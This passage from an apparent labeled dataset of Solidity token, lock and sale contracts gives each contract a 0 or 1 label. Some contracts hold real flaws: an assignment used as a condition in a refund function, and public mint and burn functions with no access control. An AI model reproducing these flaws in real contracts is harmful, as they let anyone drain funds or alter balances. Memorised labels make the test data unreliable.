Burn(burner, _value); } } contract Oduwa is BurnableToken, Ownable { string public constant name = "Oduwa"; string public constant symbol = "OWC"; uint public constant decimals = 18; uint256 public constant initialSupply = 21000000 * (10 ** uint256(decimals)); function Oduwa () { totalSupply = initialSupply; balances[msg.sender] = initialSupply; } }
1
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require (msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public{ owner = newOwner; } } contract UWNToken is owned{ string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function UWNToken(uint256 initialSupply, string tokenName, string tokenSymbol, address owneraddr) public { owner = owneraddr; totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[owner] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint256 _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function burn(uint256 _value) public onlyOwner returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } }
1
pragma solidity ^0.4.18; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract GeniusEther is MintableToken { string public constant name = "Bar Coin"; string public constant symbol = "BarCoin"; uint32 public constant decimals = 18; } contract TestSale is GeniusEther { using SafeMath for uint; address multisig; GeniusEther public token = new GeniusEther(); uint start; uint stop; uint period; uint hardcap; uint softcap; bool reco; function TestSale() { multisig = 0x2c9660f30B65dbBfd6540d252f6Fa07B5854a40f; start = 1523181300; stop = 1523182200; hardcap = 0.005 ether; softcap = 0.001 ether; reco =false; } modifier saleIsOn() { require(now >= start && now < stop); _; } modifier isUnderHardCap() { require(this.balance <= hardcap); _; } function finish() public onlyOwner { uint issuedTokenSupply = token.totalSupply(); uint restrictedTokens = issuedTokenSupply.mul(30).div(70); if (now >= stop && this.balance>softcap) { token.mint(multisig, restrictedTokens); token.finishMinting(); multisig.transfer(this.balance); } if (now >= stop && this.balance<=softcap) { reco=true; } } function Reco() { if (reco=true) { msg.sender.transfer(token.balanceOf(msg.sender)); } } function createTokens() isUnderHardCap saleIsOn payable { if (msg.value< 0.0001 ether) { msg.sender.transfer(msg.value); } else { token.mint(msg.sender, msg.value); } } function() external payable { if (now >= start && now < stop) { createTokens(); } else { msg.sender.transfer(msg.value); } } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30240000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x37338314A6E146EAd64FB656F6dbd9C0DCbf5bC2; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.19; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract CashlinkToken is StandardToken{ event Mint(address indexed to, uint256 amount); string public symbol; string public name; uint8 public decimals; address public owner; modifier onlyOwner { require(msg.sender == owner); _; } function CashlinkToken() public { owner = msg.sender; name = "Cashlink Token"; symbol = "CL"; decimals = 5; } function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function () public payable { revert(); } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30412800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xE6F2FCe1396f0d6c9373b2f88D36561c33AaFdF5; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.19; contract DigixConstants { uint256 constant SECONDS_IN_A_DAY = 24 * 60 * 60; uint256 constant ASSET_EVENT_CREATED_VENDOR_ORDER = 1; uint256 constant ASSET_EVENT_CREATED_TRANSFER_ORDER = 2; uint256 constant ASSET_EVENT_CREATED_REPLACEMENT_ORDER = 3; uint256 constant ASSET_EVENT_FULFILLED_VENDOR_ORDER = 4; uint256 constant ASSET_EVENT_FULFILLED_TRANSFER_ORDER = 5; uint256 constant ASSET_EVENT_FULFILLED_REPLACEMENT_ORDER = 6; uint256 constant ASSET_EVENT_MINTED = 7; uint256 constant ASSET_EVENT_MINTED_REPLACEMENT = 8; uint256 constant ASSET_EVENT_RECASTED = 9; uint256 constant ASSET_EVENT_REDEEMED = 10; uint256 constant ASSET_EVENT_FAILED_AUDIT = 11; uint256 constant ASSET_EVENT_ADMIN_FAILED = 12; uint256 constant ASSET_EVENT_REMINTED = 13; uint256 constant ROLE_ZERO_ANYONE = 0; uint256 constant ROLE_ROOT = 1; uint256 constant ROLE_VENDOR = 2; uint256 constant ROLE_XFERAUTH = 3; uint256 constant ROLE_POPADMIN = 4; uint256 constant ROLE_CUSTODIAN = 5; uint256 constant ROLE_AUDITOR = 6; uint256 constant ROLE_MARKETPLACE_ADMIN = 7; uint256 constant ROLE_KYC_ADMIN = 8; uint256 constant ROLE_FEES_ADMIN = 9; uint256 constant ROLE_DOCS_UPLOADER = 10; uint256 constant ROLE_KYC_RECASTER = 11; uint256 constant ROLE_FEES_DISTRIBUTION_ADMIN = 12; uint256 constant STATE_ZERO_UNDEFINED = 0; uint256 constant STATE_CREATED = 1; uint256 constant STATE_VENDOR_ORDER = 2; uint256 constant STATE_TRANSFER = 3; uint256 constant STATE_CUSTODIAN_DELIVERY = 4; uint256 constant STATE_MINTED = 5; uint256 constant STATE_AUDIT_FAILURE = 6; uint256 constant STATE_REPLACEMENT_ORDER = 7; uint256 constant STATE_REPLACEMENT_DELIVERY = 8; uint256 constant STATE_RECASTED = 9; uint256 constant STATE_REDEEMED = 10; uint256 constant STATE_ADMIN_FAILURE = 11; bytes32 constant CONTRACT_INTERACTIVE_ASSETS_EXPLORER = "i:asset:explorer"; bytes32 constant CONTRACT_INTERACTIVE_DIGIX_DIRECTORY = "i:directory"; bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE = "i:mp"; bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE_ADMIN = "i:mpadmin"; bytes32 constant CONTRACT_INTERACTIVE_POPADMIN = "i:popadmin"; bytes32 constant CONTRACT_INTERACTIVE_PRODUCTS_LIST = "i:products"; bytes32 constant CONTRACT_INTERACTIVE_TOKEN = "i:token"; bytes32 constant CONTRACT_INTERACTIVE_BULK_WRAPPER = "i:bulk-wrapper"; bytes32 constant CONTRACT_INTERACTIVE_TOKEN_CONFIG = "i:token:config"; bytes32 constant CONTRACT_INTERACTIVE_TOKEN_INFORMATION = "i:token:information"; bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE_INFORMATION = "i:mp:information"; bytes32 constant CONTRACT_INTERACTIVE_IDENTITY = "i:identity"; bytes32 constant CONTRACT_CONTROLLER_ASSETS = "c:asset"; bytes32 constant CONTRACT_CONTROLLER_ASSETS_RECAST = "c:asset:recast"; bytes32 constant CONTRACT_CONTROLLER_ASSETS_EXPLORER = "c:explorer"; bytes32 constant CONTRACT_CONTROLLER_DIGIX_DIRECTORY = "c:directory"; bytes32 constant CONTRACT_CONTROLLER_MARKETPLACE = "c:mp"; bytes32 constant CONTRACT_CONTROLLER_MARKETPLACE_ADMIN = "c:mpadmin"; bytes32 constant CONTRACT_CONTROLLER_PRODUCTS_LIST = "c:products"; bytes32 constant CONTRACT_CONTROLLER_TOKEN_APPROVAL = "c:token:approval"; bytes32 constant CONTRACT_CONTROLLER_TOKEN_CONFIG = "c:token:config"; bytes32 constant CONTRACT_CONTROLLER_TOKEN_INFO = "c:token:info"; bytes32 constant CONTRACT_CONTROLLER_TOKEN_TRANSFER = "c:token:transfer"; bytes32 constant CONTRACT_CONTROLLER_JOB_ID = "c:jobid"; bytes32 constant CONTRACT_CONTROLLER_IDENTITY = "c:identity"; bytes32 constant CONTRACT_STORAGE_ASSETS = "s:asset"; bytes32 constant CONTRACT_STORAGE_ASSET_EVENTS = "s:asset:events"; bytes32 constant CONTRACT_STORAGE_DIGIX_DIRECTORY = "s:directory"; bytes32 constant CONTRACT_STORAGE_MARKETPLACE = "s:mp"; bytes32 constant CONTRACT_STORAGE_PRODUCTS_LIST = "s:products"; bytes32 constant CONTRACT_STORAGE_GOLD_TOKEN = "s:goldtoken"; bytes32 constant CONTRACT_STORAGE_JOB_ID = "s:jobid"; bytes32 constant CONTRACT_STORAGE_IDENTITY = "s:identity"; bytes32 constant CONTRACT_SERVICE_TOKEN_DEMURRAGE = "sv:tdemurrage"; bytes32 constant CONTRACT_SERVICE_MARKETPLACE = "sv:mp"; bytes32 constant CONTRACT_SERVICE_DIRECTORY = "sv:directory"; bytes32 constant CONTRACT_DEMURRAGE_FEES_DISTRIBUTOR = "fees:distributor:demurrage"; bytes32 constant CONTRACT_RECAST_FEES_DISTRIBUTOR = "fees:distributor:recast"; bytes32 constant CONTRACT_TRANSFER_FEES_DISTRIBUTOR = "fees:distributor:transfer"; } contract ContractResolver { address public owner; bool public locked; function init_register_contract(bytes32 _key, address _contract_address) public returns (bool _success); function unregister_contract(bytes32 _key) public returns (bool _success); function get_contract(bytes32 _key) public constant returns (address _contract); } contract ResolverClient { address public resolver; bytes32 public key; address public CONTRACT_ADDRESS; modifier if_sender_is(bytes32 _contract) { require(msg.sender == ContractResolver(resolver).get_contract(_contract)); _; } modifier unless_resolver_is_locked() { require(is_locked() == false); _; } function init(bytes32 _key, address _resolver) internal returns (bool _success) { bool _is_locked = ContractResolver(_resolver).locked(); if (_is_locked == false) { CONTRACT_ADDRESS = address(this); resolver = _resolver; key = _key; require(ContractResolver(resolver).init_register_contract(key, CONTRACT_ADDRESS)); _success = true; } else { _success = false; } } function destroy() public returns (bool _success) { bool _is_locked = ContractResolver(resolver).locked(); require(!_is_locked); address _owner_of_contract_resolver = ContractResolver(resolver).owner(); require(msg.sender == _owner_of_contract_resolver); _success = ContractResolver(resolver).unregister_contract(key); require(_success); selfdestruct(_owner_of_contract_resolver); } function is_locked() private constant returns (bool _locked) { _locked = ContractResolver(resolver).locked(); } function get_contract(bytes32 _key) public constant returns (address _contract) { _contract = ContractResolver(resolver).get_contract(_key); } } contract Constants { address constant NULL_ADDRESS = address(0x0); uint256 constant ZERO = uint256(0); bytes32 constant EMPTY = bytes32(0x0); } contract ACConditions is Constants { modifier not_null_address(address _item) { require(_item != NULL_ADDRESS); _; } modifier if_null_address(address _item) { require(_item == NULL_ADDRESS); _; } modifier not_null_uint(uint256 _item) { require(_item != ZERO); _; } modifier if_null_uint(uint256 _item) { require(_item == ZERO); _; } modifier not_empty_bytes(bytes32 _item) { require(_item != EMPTY); _; } modifier if_empty_bytes(bytes32 _item) { require(_item == EMPTY); _; } modifier not_null_string(string _item) { bytes memory _i = bytes(_item); require(_i.length > 0); _; } modifier if_null_string(string _item) { bytes memory _i = bytes(_item); require(_i.length == 0); _; } modifier require_gas(uint256 _requiredgas) { require(msg.gas >= (_requiredgas - 22000)); _; } function is_contract(address _contract) public constant returns (bool _is_contract) { uint32 _code_length; assembly { _code_length := extcodesize(_contract) } if(_code_length > 1) { _is_contract = true; } else { _is_contract = false; } } modifier if_contract(address _contract) { require(is_contract(_contract) == true); _; } modifier unless_contract(address _contract) { require(is_contract(_contract) == false); _; } } contract IdentityStorage { function read_user(address _user) public constant returns (uint256 _id_expiration, bytes32 _doc); } contract MarketplaceStorage { function read_user(address _user) public constant returns (uint256 _daily_dgx_limit, uint256 _total_purchased_today); function read_user_daily_limit(address _user) public constant returns (uint256 _daily_dgx_limit); function read_config() public constant returns (uint256 _global_daily_dgx_ng_limit, uint256 _minimum_purchase_dgx_ng, uint256 _maximum_block_drift, address _payment_collector); function read_dgx_inventory_balance_ng() public constant returns (uint256 _balance); function read_total_number_of_purchases() public constant returns (uint256 _total_number_of_purchases); function read_total_number_of_user_purchases(address _user) public constant returns (uint256 _total_number_of_user_purchases); function read_purchase_at_index(uint256 _index) public constant returns (address _recipient, uint256 _timestamp, uint256 _amount, uint256 _price); function read_user_purchase_at_index(address _user, uint256 _index) public constant returns (address _recipient, uint256 _timestamp, uint256 _amount, uint256 _price); function read_total_global_purchased_today() public constant returns (uint256 _total_global_purchased_today); function read_total_purchased_today(address _user) public constant returns (uint256 _total_purchased_today); function read_max_dgx_available_daily() public constant returns (uint256 _max_dgx_available_daily); function read_price_floor() public constant returns (uint256 _price_floor_wei_per_dgx_mg); } contract MarketplaceControllerCommon { } contract MarketplaceController { } contract MarketplaceAdminController { } contract MarketplaceCommon is ResolverClient, ACConditions, DigixConstants { function marketplace_admin_controller() internal constant returns (MarketplaceAdminController _contract) { _contract = MarketplaceAdminController(get_contract(CONTRACT_CONTROLLER_MARKETPLACE_ADMIN)); } function marketplace_storage() internal constant returns (MarketplaceStorage _contract) { _contract = MarketplaceStorage(get_contract(CONTRACT_STORAGE_MARKETPLACE)); } function marketplace_controller() internal constant returns (MarketplaceController _contract) { _contract = MarketplaceController(get_contract(CONTRACT_CONTROLLER_MARKETPLACE)); } } contract MarketplaceInformation is MarketplaceCommon { function MarketplaceInformation(address _resolver) public { require(init(CONTRACT_INTERACTIVE_MARKETPLACE_INFORMATION, _resolver)); } function identity_storage() internal constant returns (IdentityStorage _contract) { _contract = IdentityStorage(get_contract(CONTRACT_STORAGE_IDENTITY)); } function getUserInfoAndConfig(address _user) public constant returns (uint256 _user_daily_dgx_limit, uint256 _user_id_expiration, uint256 _user_total_purchased_today, uint256 _config_global_daily_dgx_ng_limit, uint256 _config_maximum_block_drift, uint256 _config_minimum_purchase_dgx_ng, address _config_payment_collector) { (_user_daily_dgx_limit, _user_total_purchased_today) = marketplace_storage().read_user(_user); (_user_id_expiration,) = identity_storage().read_user(_user); (_config_global_daily_dgx_ng_limit, _config_minimum_purchase_dgx_ng, _config_maximum_block_drift, _config_payment_collector) = marketplace_storage().read_config(); } function getConfig() public constant returns (uint256 _global_daily_dgx_ng_limit, uint256 _minimum_purchase_dgx_ng, uint256 _maximum_block_drift, address _payment_collector) { (_global_daily_dgx_ng_limit, _minimum_purchase_dgx_ng, _maximum_block_drift, _payment_collector) = marketplace_storage().read_config(); } function userMaximumPurchaseAmountNg(address _user) public constant returns (uint256 _maximum_purchase_amount_ng) { _maximum_purchase_amount_ng = marketplace_storage().read_user_daily_limit(_user); } function availableDgxNg() public constant returns (uint256 _available_ng) { _available_ng = marketplace_storage().read_dgx_inventory_balance_ng(); } function readTotalNumberOfPurchases() public constant returns (uint256 _total_number_of_purchases) { _total_number_of_purchases = marketplace_storage().read_total_number_of_purchases(); } function readTotalNumberOfUserPurchases(address _user) public constant returns (uint256 _total_number_of_user_purchases) { _total_number_of_user_purchases = marketplace_storage().read_total_number_of_user_purchases(_user); } function readPurchaseAtIndex(uint256 _index) public constant returns (address _recipient, uint256 _timestamp, uint256 _amount, uint256 _price) { (_recipient, _timestamp, _amount, _price) = marketplace_storage().read_purchase_at_index(_index); } function readUserPurchaseAtIndex(address _user, uint256 _index) public constant returns (address _recipient, uint256 _timestamp, uint256 _amount, uint256 _price) { (_recipient, _timestamp, _amount, _price) = marketplace_storage().read_user_purchase_at_index(_user, _index); } function readGlobalPurchasedToday() public constant returns (uint256 _total_purchased_today) { _total_purchased_today = marketplace_storage().read_total_global_purchased_today(); } function readUserPurchasedToday(address _user) public constant returns (uint256 _user_total_purchased_today) { _user_total_purchased_today = marketplace_storage().read_total_purchased_today(_user); } function readMarketplaceConfigs() public constant returns (uint256 _global_default_user_daily_limit, uint256 _minimum_purchase_dgx_ng, uint256 _maximum_block_drift, address _payment_collector, uint256 _max_dgx_available_daily, uint256 _price_floor_wei_per_dgx_mg) { (_global_default_user_daily_limit, _minimum_purchase_dgx_ng, _maximum_block_drift, _payment_collector) = marketplace_storage().read_config(); _max_dgx_available_daily = marketplace_storage().read_max_dgx_available_daily(); _price_floor_wei_per_dgx_mg = marketplace_storage().read_price_floor(); } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29980800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xFF2303F395eF2356d2779d03C28f9Aa2593B8eAA; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); function mint(address account, uint256 value) public; function burn(address account, uint256 value) public; function burnFrom(address account, uint256 value) public; event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function mint(address account, uint256 value) public { require(account != 0); totalSupply_ = totalSupply_.add(value); balances[account] = balances[account].add(value); emit Transfer(address(0), account, value); } function burn(address account, uint256 value) public { require(account != 0); require(value <= balances[account]); totalSupply_ = totalSupply_.sub(value); balances[account] = balances[account].sub(value); emit Transfer(account, address(0), value); } function burnFrom(address account, uint256 value) public { require(value <= allowed[account][msg.sender]); allowed[account][msg.sender] = allowed[account][msg.sender].sub( value); burn(account, value); } } contract CyBetToken is StandardToken, Ownable { string public constant name = "CyBet"; string public constant symbol = "CYBT"; uint public constant decimals = 18; uint256 public constant tokenReserve = 210000000*10**18; constructor() public { balances[owner] = balances[owner].add(tokenReserve); totalSupply_ = totalSupply_.add(tokenReserve); } } contract Configurable { using SafeMath for uint256; uint256 